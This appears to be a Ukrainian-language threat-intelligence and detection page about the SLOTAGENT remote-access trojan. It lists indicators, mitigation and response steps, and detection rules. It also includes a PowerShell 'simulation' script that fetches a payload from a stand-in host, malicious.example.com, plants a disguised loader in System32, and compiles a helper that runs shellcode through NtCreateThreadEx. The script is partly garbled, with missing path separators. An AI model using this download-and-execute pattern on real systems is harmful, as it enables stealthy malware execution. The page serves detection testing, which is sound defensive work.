Новий шкідливий ПЗ SLOTAGENT із підтримкою виконання BOF опубліковано
Detection stack
- AIDR
- Alert
- ETL
- Query
Резюме
IIJ виявила невідомий раніше багатофункціональний RAT під назвою SLOTAGENT у ZIP-архіві, завантаженому на загальнодоступний репозиторій. Шкідливе програмне забезпечення підтримує виконання навантажень Beacon Object File і включає анти-форенсичні функції, такі як timestomping, щоб перешкоджати аналізу. Воно спілкується з зашитою в код TCP кінцевою точкою через спеціальний протокол, який обмінюється даними у форматі JSON. Завантажувач спирається на RC4-зашифровані конфігураційні дані та відбивне завантаження DLL для запуску кінцевого навантаження.
Розслідування
Статичний аналіз показав, що виконуваний файл завантажувача, WindowsOobeAppHost.AOT.exe, вирішує функції API Windows через власну хешуючу процедуру, основану на DJB2. Його зашифрований конфігураційний файл, db.config, дешифрується з використанням RC4 з ключем easdbadshyfab і потім виконується як shellcode, що містить XOR-кодовану DLL. Після завантаження RAT підключається до 43.156.59.110:699 і обробляє JSON-команди, які підтримують функції, включаючи зйомку скріншотів, завантаження та вивантаження файлів, а також виконання BOF.
Зменшення загроз
Захисники повинні виявляти зашиту в код командно-контрольну IP-адресу та шукати характерні рядки шляху, схожі на HTTP, пов’язані з мережею шкідливого програмного забезпечення. YARA-правила, надані у звіті, слід впровадити для ідентифікації як завантажувача, так і компонентів RAT. Безпекові команди також повинні стежити за підозрілою поведінкою хешування API та відбивному завантаженні DLL на кінцевих пристроях. Виконання непідписаних і недовірених файлів EXE або DLL слід обмежити, де це можливо.
Відповідь
Якщо виявлені індикатори, пов’язані з SLOTAGENT, негайно ізолюйте уражений хост, припиніть злоякісний процес і зберіть пам’ять для криміналістичного дослідження. Командно-контрольну IP-адресу та пов’язані порти слід заблокувати на мережевому рубежі. Організації повинні потім провести повний аналіз відомих імен та хешів файлів та застосувати опубліковані підписи YARA у системах виявлення кінцевих точок.
Потік атаки
Виявлення
Можлива спроба бічного завантаження DLL WindowsOobeAppHost.AOT (через image_load)
Перегляд
IOCs (HashSha256) для виявлення: Нове шкідливе ПЗ SLOTAGENT, підтримує виконання BOF, опубліковано
Перегляд
IOCs (SourceIP) для виявлення: Нове шкідливе ПЗ SLOTAGENT, підтримує виконання BOF, опубліковано
Перегляд
IOCs (DestinationIP) для виявлення: Нове шкідливе ПЗ SLOTAGENT, підтримує виконання BOF, опубліковано
Перегляд
Виявити комунікацію SLOTAGENT C2 [Підключення до мережі Windows]
Перегляд
Виявлення виконання шкідливого ПЗ SLOTAGENT [Створення процесу Windows]
Перегляд
Виконання моделювання
Попередні умови: Телеметрія та перевірка базової лінії повинні бути успішно пройдені.
-
Сценарій атаки та команди:
Супротивник отримав копію виконуваного завантажувача SLOTAGENT, перейменував її на
WindowsOobeAppHost.AOT.exeщоб змішати з легітимними процесами OOBE, і розмістив її вC:WindowsSystem32. Навантаження зберігається в зашифрованій масі на сервері нападника. Використовуючи PowerShell, нападник завантажує зашифровану масу, дешифрує її в пам’яті та викликає рутинне відбивне виконання завантажувача черезNtCreateThreadEx. Завантажувач внутрішньо викликаєNtCreateFileдля читання додаткових ресурсів з зашифрованої маси, а потім використовує відбивне завантаження для виконання шкідливої DLL, не торкаючись диска. Ця діяльність створює подію Sysmon ProcessCreate з точноюІм'я зображеннятаCallTrace, що містить три рядки, визначені в правилі. -
Сценарій регресійного тестування:
# ------------------------------------------------- # Імітація відбивного завантаження SLOTAGENT (Windows) # ------------------------------------------------- # 1. Встановіть шляхи $loaderPath = "$env:windirSystem32WindowsOobeAppHost.AOT.exe" $payloadUrl = "https://malicious.example.com/payload.bin" $tempPayload = "$env:TEMPpayload.bin" # 2. Переконайтеся, що завантажувач існує (імітаційна копія реального бінарного файлу) if (-not (Test-Path $loaderPath)) { Write-Host "Копіювання імітаційного завантажувача до $loaderPath" Copy-Item -Path "C:ToolsFakeLoader.exe" -Destination $loaderPath } # 3. Завантажте зашифроване навантаження (імітація) Invoke-WebRequest -Uri $payloadUrl -OutFile $tempPayload # 4. Дешифруйте навантаження в пам'яті (місце тримає – реальне дешифрування опущено) $decryptedBytes = Get-Content $tempPayload -Encoding Byte # 5. Викличте відбивне завантаження через виклики рідних API # Це використовує маленький C# хелпер, скомпільований на лету, який викликає NtCreateThreadEx $cSharp = @" using System; using System.Runtime.InteropServices; public class ReflectiveLoader { [DllImport("ntdll.dll", SetLastError=true)] public static extern IntPtr NtCreateThreadEx( out IntPtr threadHandle, uint desiredAccess, IntPtr objectAttributes, IntPtr processHandle, IntPtr startAddress, IntPtr parameter, bool createSuspended, uint stackZeroBits, uint sizeOfStackCommit, uint sizeOfStackReserve, IntPtr bytesBuffer); public static void Run(byte[] shellcode) { IntPtr hThread; NtCreateThreadEx(out hThread, 0x1FFFFF, IntPtr.Zero, Process.GetCurrentProcess().Handle, Marshal.UnsafeAddrOfPinnedArrayElement(shellcode, 0), IntPtr.Zero, false, 0, 0, 0, IntPtr.Zero); } } "@ Add-Type $cSharp -Language CSharp # 6. Очистіть тимчасовий файл Remove-Item $tempPayload -Force -
Команди очищення:
# Припиніть будь-який залишковий процес завантажувача Get-Process -Name "WindowsOobeAppHost.AOT" -ErrorAction SilentlyContinue | Stop-Process -Force # Видаліть імітаційний бінарний файл завантажувача $loaderPath = "$env:windirSystem32WindowsOobeAppHost.AOT.exe" if (Test-Path $loaderPath) { Remove-Item $loaderPath -Force } # Видаліть будь-які залишкові тимчасові файли Remove-Item "$env:TEMPpayload.bin" -ErrorAction SilentlyContinue